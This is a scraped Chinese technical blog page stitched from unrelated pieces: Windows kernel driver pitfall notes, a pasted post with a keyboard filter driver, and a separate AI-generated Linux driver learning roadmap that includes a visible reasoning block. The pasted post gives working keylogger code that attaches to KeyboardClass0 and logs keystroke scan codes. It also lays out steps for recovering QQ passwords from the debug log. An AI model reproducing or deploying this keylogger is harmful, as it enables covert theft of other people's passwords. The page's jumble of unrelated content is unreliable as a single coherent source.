驱动开发坑总结

1. 用FILE_FLAG_OVERLAPPED打开设备时,ReadFile、WriteFile的OVERLAP参数不能为空,否则会异常,到不了驱动的派遣函数

2. 用IoGetDeviceObjectPointer得到FILE_OBJECT和DEVICE_OBJECT指针,用完后Deref文件对象就行了,设备对象千万别Deref,否则会损坏设备对象。他内部是ZwOpenFile再ObRefrenceObjectByHandle来得到FILE_OBJECT指针,再用它的成员得到DEVICE_OBJECT指针的,所以DEVICE_OBJECT不要deref

3. IoDriverObjectType,这个未公开的变量可以声明一下就用,但在vista以前是POBJECT_TYPE类型,后面变成了POBJECT_TYPE*类型。在ObRefrenceObjectByName等函数中要注意

4. 文件系统驱动或者过滤驱动,一定要实现FastIoDispatch,哪怕函数里面直接返回false也可以。楚狂人和wowocook的书里说不实现也可以,但自己试不实现的确会蓝屏,从wrk的代码里看,NtReadFile、NtWriteFile等确实会直接调用FastIoDispatch

    if (fileObject->PrivateCacheMap) {
            IO_STATUS_BLOCK localIoStatus;
            ASSERT(fastIoDispatch && fastIoDispatch->FastIoRead);
            //
            //  Negative file offsets are illegal.
            //
            if (fileOffset.HighPart < 0) {
                if (eventObject) {
                    ObDereferenceObject( eventObject );
                }
                IopReleaseFileObjectLock( fileObject );
                ObDereferenceObject( fileObject );
                return STATUS_INVALID_PARAMETER;
            }
            if (fastIoDispatch->FastIoRead( fileObject,
                                            &fileOffset,
                                            Length,
                                            TRUE,
                                            keyValue,
                                            Buffer,
                                            &localIoStatus,
                                            deviceObject )

5.  pIrp->MdlAddress) 引发的蓝屏

PUCHAR pBuf = NULL;
if(pDeviceObject->Flags & DO_BUFFERED_IO)
pBuf = (PUCHAR)(pIrp->AssociatedIrp.SystemBuffer);
else if((pDeviceObject->Flags & DO_DIRECT_IO) )
pBuf = (PUCHAR)(MmGetSystemAddressForMdlSafe(pIrp->MdlAddress,NormalPagePriority));

很普通的一段代码却蓝屏了,看蓝屏代码是0xd1,DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an interrupt request level (IRQL) that is too high.  This is usually
caused by drivers using improper addresses.If kernel debugger is available get stack backtrace.

后来才发现是pIrp->MdlAddress为空,MmGetSystemAddressForMdlSafe里的一行代码, 

mov     rcx, [rbx+8]    ; MemoryDescriptorList
test    byte ptr [rcx+0Ah], 5

这里rcx为0,变成违例了,难道用户传过来的buffer为空? 改了下代码

else if((pDeviceObject->Flags & DO_DIRECT_IO) && pIrp->MdlAddress)//pIrp->MdlAddress为空时,MmGetSystemAddressForMdlSafe会引发蓝屏

这样就ok了


6. IoFreeIrp这个函数在内部是会完成irp的,所以用IoBuildAsynchronousFsdRequest 等函数创建的irp,用完后直接free就行了,不要再去complete了


7. Ndis协议驱动,inf里面写的服务名和PROTOCOL_CHARACTERISTICS里的ProtocolName要匹配,否则注册协议能成功但不会被系统回调。(坑死寡人了。。)


http://blog.youkuaiyun.com/xiaoxiao108/article/details/7563159 最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。 开发环境 vs2008 winddk ddkwizard windowsxp Dbgview 实现方法 1.把过滤驱动挂载到键盘驱动上面 2.设置完成例程 3.通过KdPrint输出键盘扫描码到DebugView 4. 从DebugView的日志文件中读出键盘按键。 具体代码 1.把过滤驱动挂载到KeyBoardClass0上面 PFILE_OBJECT fileOjbect; PDEVICE_OBJECT deviceObject; UNICODE_STRING deviceName; PDEVICE_EXTENSION pdx; PDEVICE_OBJECT filterDeviceObject; PDEVICE_OBJECT targetDevice; fileOjbect=NULL; RtlInitUnicodeString(&deviceName;,L"\\Device\\KeyBoardClass0"); status=IoGetDeviceObjectPointer(&deviceName;,FILE_ALL_ACCESS,&fileOjbect;,&deviceObject;); pdoDeviceObj->Flags |= DO_BUFFERED_IO; pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension; pdx->pDevice=pdoDeviceObj; pdx->ustrDeviceName=usDeviceName; filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice; targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject); ((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice; filterDeviceObject->DeviceType=targetDevice->DeviceType; filterDeviceObject->Characteristics=targetDevice->Characteristics; filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO)); ObDereferenceObject(fileOjbect); return STATUS_SUCCESS; 2.设置完成例程 PDEVICE_EXTENSION pdx; pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension; IoCopyCurrentIrpStackLocationToNext(Irp); IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE); NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp); return status; 3.输出键盘按键的扫描码 NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context) { if(NT_SUCCESS(Irp->IoStatus.Status)) { PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer; if(keys->Flags==0x0001||keys->Flags==0x0003) KdPrint(("x",keys->MakeCode)); } if(Irp->PendingReturned) { IoMarkIrpPending(Irp); } return STATUS_SUCCESS; } 使用步骤 1.安装驱动 用DriverMonitor加载并运行Driver1.sys驱动文件 2.打开Dbgview,当按键时就可以看到dbgview中记录下的键盘扫描码 3.在dbgview中选择记录日志文件,处理下日志文件就可以得到qq密码了。 偶c语言菜鸟,欢迎大神们批评教育 不足的地方很多啊 多多交流 谢谢 邮箱328452421@qq.com http://blog.youkuaiyun.com/xiaoxiao108/article/details/7563159
<think>嗯,用户想了解Linux驱动开发的学习路线,我得好好理清楚思路。首先,用户可能是刚开始接触Linux驱动开发,或者是已经有了一些编程基础,想转行到这个领域。需要从基础开始讲起,逐步深入,确保他能跟上。 首先,Linux驱动开发需要哪些基础知识呢?操作系统原理、C语言应该是必须的。可能还需要了解一些硬件相关的知识,比如处理器架构、内存管理之类的。我得先列出这些基础知识,让用户打好基础。 然后,Linux系统本身的了解也很重要。比如内核的组成、模块化机制,还有编译和调试的方法。用户可能需要学习如何编译内核,如何编写简单的模块,这部分可以通过一些例子来讲解,比如经典的Hello World模块。 接下来是驱动开发的核心部分,字符设备、平台设备、设备树这些概念。用户需要理解这些驱动类型的工作原理,以及如何实际操作。比如,如何注册字符设备,如何使用设备树来描述硬件。这部分可能需要结合代码示例,但用户现在可能还不需要写代码,所以先解释概念。 另外,同步与互斥机制、中断处理、DMA这些高级主题也是必须的。用户可能会遇到多线程环境下的资源竞争问题,或者需要处理硬件中断,这些都需要详细说明。不过要分阶段,先掌握基础再深入高级内容。 调试和优化技巧也很关键,没有这些在实际开发中会遇到很多困难。比如如何使用printk和动态调试,还有性能优化的方法。用户需要知道如何排查问题,提高驱动效率。 最后,推荐一些学习资源和项目实践,帮助用户巩固知识。书籍、在线文档、社区论坛都是不错的资源。实际项目比如LED驱动、传感器驱动,能让他动手实践,加深理解。 可能用户还想知道学习的大致时间安排,或者有哪些常见的陷阱需要避免。不过目前的问题主要是学习路线,所以先按步骤来,确保每个阶段都有明确的目标和内容。还要注意语言要口语化,避免太技术化的术语,让用户容易理解。 总之,结构应该是先基础,再系统学习,然后核心开发,高级主题,最后调试和项目实践。这样用户能循序渐进,逐步掌握Linux驱动开发的各个方面。需要检查是否有遗漏的重要知识点,比如设备树现在在嵌入式系统中很常用,必须涵盖进去。另外,驱动模型和sysfs这类用户空间接口也很重要,应该提到。</think>Linux驱动开发学习路线可以分为以下阶段,结合理论与实践逐步深入: --- ### **一、基础准备阶段(1-3个月)** 1. **C语言基础** - 重点掌握:指针、结构体、内存管理(malloc/free)、位操作、函数指针 - 推荐书籍:《C和指针》《C Primer Plus》 2. **操作系统原理** - 理解进程/线程、内存管理、中断、I/O机制、内核态与用户态 - 推荐学习:《操作系统导论》《深入理解计算机系统》 3. **Linux系统基础** - 熟练使用Linux命令行(gcc/gdb/makefile) - 掌握Shell脚本编写 - 学习内核源码目录结构(如`drivers/`, `include/`, `arch/`) --- ### **二、Linux内核入门(2-4个月)** 1. **内核编译与模块开发** - 实践内核编译(配置选项、交叉编译) - 编写第一个内核模块(Hello World) - 学习模块加载/卸载(`insmod/rmmod`) 2. **内核关键机制** - 理解系统调用、Proc文件系统、Sysfs - 掌握内核日志(`printk`)与动态调试(`dmesg`) 3. **设备驱动模型** - 学习字符设备驱动(`cdev`)、平台设备驱动(`platform_device/platform_driver`) - 掌握设备树(Device Tree)语法与使用 --- ### **三、驱动开发核心(3-6个月)** 1. **硬件交互基础** - 内存映射(`ioremap`)、寄存器操作、GPIO控制 - 中断处理(`request_irq`)、延时机制(`mdelay`) 2. **典型驱动开发** - **字符设备**:按键、LED、ADC - **块设备**:RAMDisk模拟 - **网络设备**:虚拟网卡驱动 - **输入子系统**:触摸屏、键盘驱动 3. **同步与并发** - 自旋锁(`spinlock`)、互斥锁(`mutex`)、信号量(`semaphore`) - 原子操作(`atomic_t`)、等待队列(`wait_queue`) --- ### **四、进阶技术(3-6个月)** 1. **内核调试与优化** - 使用`ftrace`、`kprobe`分析性能 - 内存泄漏检测(`kmemleak`)、死锁排查 2. **高级驱动技术** - DMA传输(`dma_alloc_coherent`) - 内核线程(`kthread`)、工作队列(`workqueue`) - 电源管理(`PM Framework`) 3. **实战项目** - 实现SPI/I2C设备驱动(如传感器) - 开发USB摄像头驱动(结合V4L2框架) - 移植开源驱动(如WiFi模块) --- ### **五、学习资源推荐** 1. **书籍** - 《Linux设备驱动程序》(经典必读) - 《Linux内核设计与实现》 - 《精通Linux设备驱动程序开发》 2. **在线文档** - 内核文档(`Documentation/`目录) - [Linux Kernel Module Programming Guide](https://tldp.org/LDP/lkmpg/2.6/html/) 3. **社区与工具** - 订阅[LKML](https://lore.kernel.org/)邮件列表 - 使用QEMU模拟器调试驱动 - 参与开源项目(如Raspberry Pi驱动开发) --- ### **六、避指南** 1. **硬件依赖问题**:优先选择支持良好的开发板(如树莓派、BeagleBone)。 2. **内核版本兼容性**:注意API变化(如`register_chrdev` vs `cdev_init`)。 3. **调试技巧**:善用`CONFIG_DEBUG_KERNEL`和`objdump`反汇编。 --- **学习路线总结**: 基础 → 内核机制 → 驱动开发 → 调试优化 → 项目实战 建议每天投入2-3小时,配合开发板实践,1年左右可达到中级水平。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值